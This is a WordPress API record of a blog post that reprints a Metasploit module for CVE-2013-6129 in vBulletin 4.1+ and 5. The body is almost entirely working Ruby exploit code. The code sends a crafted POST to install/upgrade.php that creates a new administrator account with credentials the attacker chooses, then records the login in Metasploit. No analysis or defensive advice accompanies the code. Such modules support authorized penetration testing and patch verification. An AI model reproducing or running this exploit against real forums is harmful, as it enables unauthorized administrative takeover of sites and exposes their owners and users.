{"id":59305,"date":"2024-09-01T00:49:43","date_gmt":"2024-08-31T21:49:43","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180859\/vbulletin_upgrade_admin.rb.txt"},"modified":"2024-09-01T00:49:43","modified_gmt":"2024-08-31T21:49:43","slug":"vbulletin-administrator-account-creation","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/vbulletin-administrator-account-creation\/","title":{"rendered":"VBulletin Administrator Account Creation"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Report<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;vBulletin Administrator Account Creation&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module abuses the &#8220;install\/upgrade.php&#8221; component on vBulletin 4.1+ and 4.5+ to<br \/>create a new administrator account, as exploited in the wild on October 2013. This module<br \/>has been tested successfully on vBulletin 4.1.5 and 4.1.0.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Unknown&#8217;, # Vulnerability discoverer? found in the wild<br \/>&#8216;juan vazquez&#8217; # metasploit module<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;CVE&#8217;, &#8216;2013-6129&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;http:\/\/blog.imperva.com\/2013\/10\/threat-advisory-a-vbulletin-exploit-administrator-injection.html&#8217;],<br \/>[ &#8216;OSVDB&#8217;, &#8216;98370&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;http:\/\/www.vbulletin.com\/forum\/forum\/vbulletin-announcements\/vbulletin-announcements_aa\/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2013-10-09&#8217;<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>OptString.new(&#8216;TARGETURI&#8217;, [ true, &#8216;The vbulletin URI&#8217;, &#8216;\/&#8217;]),<br \/>OptString.new(&#8216;USERNAME&#8217;, [true, &#8216;The username for the new admin account&#8217;, &#8216;msf&#8217;]),<br \/>OptString.new(&#8216;PASSWORD&#8217;, [true, &#8216;The password for the new admin account&#8217;, &#8216;password&#8217;]),<br \/>OptString.new(&#8216;EMAIL&#8217;, [true, &#8216;The email for the new admin account&#8217;, &#8216;msf@email.loc&#8217;])<br \/>])<br \/>end<\/p>\n<p>def user<br \/>datastore[&#8216;USERNAME&#8217;]end<\/p>\n<p>def pass<br \/>datastore[&#8216;PASSWORD&#8217;]end<\/p>\n<p>def run<br \/>if user == pass<br \/>print_error(&#8216;Please select a password different than the username&#8217;)<br \/>return<br \/>end<\/p>\n<p>print_status(&#8216;Trying a new admin vBulletin account&#8230;&#8217;)<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;install&#8217;, &#8216;upgrade.php&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>&#8216;version&#8217; =&gt; &#8216;install&#8217;,<br \/>&#8216;response&#8217; =&gt; &#8216;true&#8217;,<br \/>&#8216;checktable&#8217; =&gt; &#8216;false&#8217;,<br \/>&#8216;firstrun&#8217; =&gt; &#8216;false&#8217;,<br \/>&#8216;step&#8217; =&gt; &#8216;7&#8217;,<br \/>&#8216;startat&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;only&#8217; =&gt; &#8216;false&#8217;,<br \/>&#8216;options[skiptemplatemerge]&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;reponse&#8217; =&gt; &#8216;yes&#8217;,<br \/>&#8216;htmlsubmit&#8217; =&gt; &#8216;1&#8217;,<br \/>&#8216;htmldata[username]&#8217; =&gt; user,<br \/>&#8216;htmldata[password]&#8217; =&gt; pass,<br \/>&#8216;htmldata[confirmpassword]&#8217; =&gt; pass,<br \/>&#8216;htmldata[email]&#8217; =&gt; datastore[&#8216;EMAIL&#8217;]},<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;X-Requested-With&#8217; =&gt; &#8216;XMLHttpRequest&#8217;<br \/>}<br \/>})<\/p>\n<p>if res &amp;&amp; (res.code == 200) &amp;&amp; res.body =~ (\/Administrator account created\/)<br \/>print_good(&#8220;Admin account with credentials #{user}:#{pass} successfully created&#8221;)<br \/>connection_details = {<br \/>module_fullname: fullname,<br \/>username: user,<br \/>private_data: pass,<br \/>private_type: :password,<br \/>status: Metasploit::Model::Login::Status::UNTRIED,<br \/>proof: res.body<br \/>}.merge(service_details)<br \/>create_credential_and_login(connection_details)<br \/>else<br \/>print_error(&#8216;Admin account creation failed&#8217;)<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Report def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;vBulletin Administrator Account Creation&#8217;,&#8216;Description&#8217; =&gt; %q{This module abuses the &#8220;install\/upgrade.php&#8221; component on vBulletin 4.1+ and 4.5+ tocreate a new administrator account, as exploited in the wild on October 2013. This modulehas been tested successfully on &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59305","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59305","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59305"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59305\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59305"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59305"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59305"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}